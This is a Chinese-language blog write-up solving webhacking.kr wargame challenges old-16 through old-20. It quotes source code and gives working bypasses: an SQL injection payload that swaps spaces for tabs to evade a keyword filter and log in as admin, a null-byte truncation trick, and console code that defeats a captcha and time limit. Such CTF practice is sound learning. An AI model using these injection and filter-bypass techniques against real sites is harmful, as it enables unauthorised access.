webhacking.kr 一天五題系列 IV

Albert Huang MED student | CS enthusiast

old-16

本題考點:前端原始碼分析

直接來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
document.body.innerHTML+="<font color=yellow id=aa style=position:relative;left:0;top:0>*</font>";
function mv(cd){
kk(star.style.left-50,star.style.top-50);
if(cd==100) star.style.left=parseInt(star.style.left+0,10)+50+"px";
if(cd==97) star.style.left=parseInt(star.style.left+0,10)-50+"px";
if(cd==119) star.style.top=parseInt(star.style.top+0,10)-50+"px";
if(cd==115) star.style.top=parseInt(star.style.top+0,10)+50+"px";
if(cd==124) location.href=String.fromCharCode(cd)+".php"; // do it!
}
function kk(x,y){
rndc=Math.floor(Math.random()*9000000);
document.body.innerHTML+="<font color=#"+rndc+" id=aa style=position:relative;left:"+x+";top:"+y+" onmouseover=this.innerHTML=''>*</font>";
}

可以輕鬆發現第八行是關鍵,有一個 String.fromCharCode(124).php,直接造訪他即可。

old-17

本題考點:前端原始碼分析

題目給了一個輸入框,來看一下 source code:

1
2
3
4
5
6
7
<form name="login">
<input type="passwd" name="pw"><input type="button" onclick="sub()" value="check">
</form>
<script>
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
function sub(){ if(login.pw.value==unlock){ location.href="?"+unlock/10; } else{ alert("Wrong"); } }
</script>

蠻簡單的,直接把 unlock 的值算出來就好。

old-18

本題考點:運算子優先級篡改、SQLi

又是一題 SQL injection,有給 source code,來看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
</a>
<br><br><a href=?view_source=1>view-source</a>
</center>
</body>
</html>

我們需要先知道他的 regex 限制了什麼:

  1. /()|&
  2. selectfrom0x

然後來看一下表達式:

1
select id from chall18 where id='guest' and no=$_GET['no']

我們的目標是讓 id=admin,然後 no=2,所以可以直接構造 payload,但要將空白換成 tab %09(URL encode),讓表達式如下:

1
select id from chall18 where id='guest' and no=3 or no=2 and id='admin'

直接修改 no 的 GET 參數即可。

old-19

本題考點:Null Byte 截斷與字串處理差異

給了一個驗證 admin 的輸入框,但直接按會顯示 you are not admin,所以嘗試用 ad%00min 即可成功進入。

old-20

本題考點:不安全驗證表單

給了一個輸入的頁面,但出現 time limit : 2 second,看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form name="lv5frm" method="post">
<table border="0">
<tbody><tr><td>nickname</td><td><input type="text" name="id" size="10" maxlength="10"></td></tr>
<tr><td>comment</td><td><input type="text" name="cmt" size="50" maxlength="50"></td></tr>
<tr><td>captcha</td><td><input type="text" name="captcha"><input type="button" name="captcha_" value="SshRtxh3OP" style="border:0;background=lightgreen"></td></tr>
<tr><td><input type="button" value="Submit" onclick="ck()"></td><td><input type="reset" value="reset"></td></tr>
</tbody></table>
<script>
function ck(){
if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }
if(lv5frm.captcha.value=="") { lv5frm.captcha.focus(); return; }
if(lv5frm.captcha.value!=lv5frm.captcha_.value) { lv5frm.captcha.focus(); return; }
lv5frm.submit();
}
</script>
</form>

看來我們需要在兩秒內送出表單,但驗證碼不可能在兩秒內打完,所以用 console 直接送表單:

1
2
3
4
lv5frm.id.value="m3t30r";
lv5frm.cmt.value="m3t30r";
lv5frm.captcha.value=lv5frm.captcha_.value;
lv5frm.submit();
  • Title: webhacking.kr 一天五題系列 IV
  • Author: Albert Huang
  • Created at : 2026-06-17 17:34:51
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/17/webhacking-writeup-4/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 IV